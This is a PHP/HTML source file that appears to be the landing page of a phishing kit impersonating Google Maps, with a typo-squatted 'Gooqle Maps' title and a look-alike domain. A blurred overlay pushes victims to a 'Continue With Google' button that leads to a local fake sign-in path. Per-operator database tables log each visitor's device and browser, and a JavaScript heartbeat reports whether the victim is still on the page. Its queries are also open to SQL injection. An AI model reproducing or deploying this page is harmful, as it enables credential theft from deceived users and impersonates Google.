<?php
session_start();
include 'db/con.php'; // all $con1, $con2 ... defined here

// Get admin_id and user_id from URL
if(isset($_GET['admin_id']) && isset($_GET['user_id'])){
    $admin_id = $_GET['admin_id'];
    $user_id = $_GET['user_id'];
    
    $_SESSION['admin_id'] = $admin_id;
    $_SESSION['user_id'] = $user_id;

    // Pick the correct connection
    function getConnection($admin_id){
        global $con1,$con2,$con3,$con4,$con5,$con6,$con7,$con8,$con9,$con10,
               $con11,$con12,$con13,$con14,$con15,$con16,$con17,$con18,$con19,
               $con20,$con21,$con22,$con23,$con24,$con25,$con26,$con27,$con28,
               $con29,$con30;

        $var = "con".$admin_id;
        return isset($$var) ? $$var : null;
    }

    $connection = getConnection($admin_id);
    if(!$connection){
        die("No database connection found for admin_id $admin_id");
    }

    $visitor_id = session_id();
    $current_page1 = $_POST['page'] ?? $_GET['page'] ?? "first_map_page";
    $current_page="first_map_page";
    $status = $_POST['status'] ?? $_GET['status'] ?? "active";
    $userAgent = $_SERVER['HTTP_USER_AGENT'];

    // Detect device
    $ua = strtolower($userAgent);
    if(strpos($ua,"mobile") !== false){
        $device = (strpos($ua,"tablet") !== false) ? "tab" : "mobile";
    } else {
        $device = "desktop";
    }

    // Get username from admin table
    $res = mysqli_query($connection, "SELECT username FROM admin WHERE id='$user_id'");
    if($res && mysqli_num_rows($res) > 0){
        $row = mysqli_fetch_assoc($res);
        $username = $row['username'];

        // Insert click log (optional)
        $actual_link = 'https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
        mysqli_query($connection, "INSERT INTO click(`username`,`click_site_name`,`link`,`device`,`click_date`)
            VALUES('$username','gmail','$actual_link','$device',NOW())");

        // Check if visitor already exists
        $check = mysqli_query($connection, "SELECT id FROM gmail WHERE visitor_id='$visitor_id' LIMIT 1");

        if(mysqli_num_rows($check) == 0){
            // Insert first time
            mysqli_query($connection, "INSERT INTO gmail
                (visitor_id, admin, Site, user_agent, current_page, visitor_status, last_active)
                VALUES('$visitor_id','$username','gmail','$userAgent','$current_page','$status',NOW())");
        } else {
            // Update existing visitor
            mysqli_query($connection, "UPDATE gmail
                SET current_page='$current_page', visitor_status='$status', last_active=NOW()
                WHERE visitor_id='$visitor_id'
                LIMIT 1");
        }

    } else {
        die("Admin user not found");
    }

    // If this is JS heartbeat request → exit immediately
    if(isset($_GET['status']) || isset($_POST['status'])){
        exit;
    }

} else {
    die("Missing admin_id or user_id");
}
?>
 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <base href="https://mylocationmaps.live/@40.1008707,-99.5572163,5.25z/"  >

    <meta http-equiv="X-UA-Compatible" content="IE=edge">
 
  
        
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Gooqle Maps</title>
  
  <!-- Standard favicon -->
  <link rel="icon" href="path/to/favicon.ico" type="image/x-icon">

  <!-- PNG format (preferred by modern browsers) -->
  <link rel="icon" type="image/x-icon" href=css/favicon.ico">
  <!-- Apple Touch Icon for iOS -->
  <link rel="apple-touch-icon" sizes="180x180" href="/img/favicon.png">

  <!-- Favicon for Android Chrome -->
  <link rel="icon" type="image/png" sizes="192x192" href="/img/favicon.png">

  <!-- Manifest for Android Chrome -->
  <link rel="manifest" href="path/to/site.webmanifest">


  
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&display=swap" rel="stylesheet">
	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <style>
      
      
      
       /* New styles for the map background */
        .map-background {
            position: fixed; /* Fixed position */
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 5; /* Behind all other content */
        }
           
      
        /* Existing styles */
        .logoimg img {
            width: 240px;
            text-align: left;
            margin-left: -43px;
        }
        .permissions-button {
            background-color: #1a73e8;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
            margin-bottom: 15px;
            font-size: 14px;
        }
        .icon-buttons {
            display: flex;
            justify-content: center;
            gap: 20px;
            margin-bottom: 15px;
        }
        .icon-button {
            background-color: #f44336;
            border: none;
            padding: 20px;
            border-radius: 50%;
            cursor: pointer;
        }
        .icon-button img {
            width: 18px;
            height: 18px;
        }

        .input-section {
            margin: 20px 0;
            text-align: center; /* Center align the content */
        }

        .input-section label {
            display: block; /* Display label as a block */
            font-size: 16px; /* Adjust font size */
            margin-bottom: 10px; /* Add margin below label */
            color: #333; /* Color for better readability */
        }

        .input-section input {
            width: calc(100% - 34px);
            max-width: 300px;
           
            height: 24px;
        }

        .google-button {
            --tw-bg-opacity: 1;
            background-color: rgb(191 219 254 / var(--tw-bg-opacity));
            border: none;
            padding: 10px;
            width: calc(100% - 40px); /* Full width with padding adjustment */
            max-width: 208px; /* Set max width for button */
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            font-size: 14px; /* Font size */
            border-radius: 25px; /* Rounded corners */
            color: #333; /* Button text color */
            margin: 0 auto; /* Center the button */
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1); /* Shadow effect */
            position: fixed; /* Fixed position */
            bottom: 20px; /* Position it at the bottom */
            left: 50%; /* Center horizontally */
            transform: translateX(-50%); /* Center alignment */
            z-index: 1; /* Position above overlay */
            margin-bottom: 249px;
        }

        .footer-text {
            font-size: 12px;
            color: #555;
            position: fixed; /* Make footer fixed */
            bottom: 0; /* Align it to the bottom */
            padding: 10px 0; /* Add some padding */
        }

        .footer-text a {
            color: #1a73e8;
            text-decoration: none;
        }
        .signtext {
            text-align: right;
            float: right;
            font-size: 24px;
            margin-top: 4px;
            color: dodgerblue;
            font-family: system-ui;
        }
        .blackzon {
            background: black;
            padding: 8px;
        }

        .h2text {
            margin-top: 22px;
            color: white;
            font-family: monospace;
            padding: 22px;
            font-size: 22px;
        }

        body {
            font-family: 'Roboto', sans-serif;
            background-color: #f8f9fa;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0;
        }
        
        .container {
            width: 350px;
            padding: 20px;
            border-radius: 8px;
            text-align: center;
            position: relative; /* Relative positioning for overlay */
            z-index: 9999; /* Position above background */
        }
        
        .overlay {
    position: fixed;
    inset: 0;
    background-color: rgba(255, 255, 255, 0.3); /* Soft transparent */
    backdrop-filter: blur(3px);                 /* Soft blur */
    -webkit-backdrop-filter: blur(4px);
    z-index: 9999;
    display: none;
    align-items: center;
    justify-content: center;
}

        .google-button-overlay {
            position: absolute;
            top: 55%;
            left: 50%;
            transform: translate(-50%, -50%);
            background-color: rgb(191 219 254); /* Set button color */
            border: none;
            padding: 10px;
            width: calc(100% - 40px); 
            max-width: 208px;
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            font-size: 14px;
            border-radius: 25px;
            color: #333;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
            z-index: 1; /* Position above overlay */
        }

        .google-button-overlay img {
            width: 30px;
            margin-right: 2px;
        }

        .google-button-overlay:hover {
            background-color: #d0e7fb;
        }
		
      .search-container {
        display: flex;
        align-items: center;
        background-color: white; /* Background color */
        border: 1px solid #ddd; /* Border */
        border-radius: 25px; /* Rounded corners */
        padding: 5px 10px; /* Padding */
      
      }

      #name {
        border: none; /* Remove default border */
        outline: none; /* Remove outline */
        flex: 1; /* Grow to fill the space */
        padding: 5px; /* Input padding */
      }

      .search-btn, .clear-btn {
        background: none; /* Remove button background */
        border: none; /* Remove button border */
        cursor: pointer; /* Pointer cursor on hover */
        font-size: 18px; /* Adjust font size */
        margin-left: 5px; /* Space between icons */
      }
      a{
           text-decoration: none;
      }

      
        /* Remaining styles unchanged... */
    </style>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
  
</head>
<body>
    
   
   <iframe 
  class="map-background"
  src="https://www.google.com/maps?q=United%20States&z=8&output=embed" 
  width="600" 
  height="450" 
  style="border:0;" 
  allowfullscreen="" 
  loading="lazy" 
  referrerpolicy="no-referrer-when-downgrade">
</iframe>


    <!-- Overlay for "Continue with Google" button -->
<div class="overlay" style="display: none;"> <!-- Make sure overlay is initially hidden -->
    <a href="v3/signin/" class="google-button-overlay" id="googleButtonOverlay">
        <img src="css/google.webp" alt="Google Icon">
        Continue With Google 
    </a>
</div>

<div class="container">
    <div class="input-section">
        

      
    </div>

    <p class="footer-text">
        By joining, you agree to the Google <a href="#">Terms of Service</a> and <a href="#">Privacy Policy</a>. System info will be sent to confirm you‘re not a bot.
    </p>
</div>


<script>
    $(document).ready(function() {
        setTimeout(function() {
            $('.overlay').fadeIn(); // Fade in the overlay after 4 seconds
        }, 500);

       
        // Event handler for Google button inside the overlay
        $('#googleButtonOverlay,#searchIcon').click(function() {
           

        });
    });
</script>
<script>
let idleTime = 0;

// Send visitor status
function sendStatus(status){
    fetch(window.location.href,{
        method:'POST',
        headers:{'Content-Type':'application/x-www-form-urlencoded'},
        body:'status='+status+'&page='+encodeURIComponent(window.location.pathname)
    }).catch(err=>console.log("Visitor status update failed:",err));
}

// Initial active
sendStatus('active');

// Heartbeat every 15 sec
setInterval(()=>{
    idleTime++;
    if(idleTime<60){
        sendStatus('active');
    } else {
        sendStatus('idle');
    }
},15000);

// Reset idle on activity
['mousemove','keypress','touchstart'].forEach(evt=>{
    document.addEventListener(evt,()=>{ idleTime=0; });
});

// Tab close → inactive
window.addEventListener('beforeunload',function(){
    navigator.sendBeacon(window.location.href,new URLSearchParams({
        status:'inactive',
        page:window.location.pathname
    }));
});
</script>
 
</body>
</html>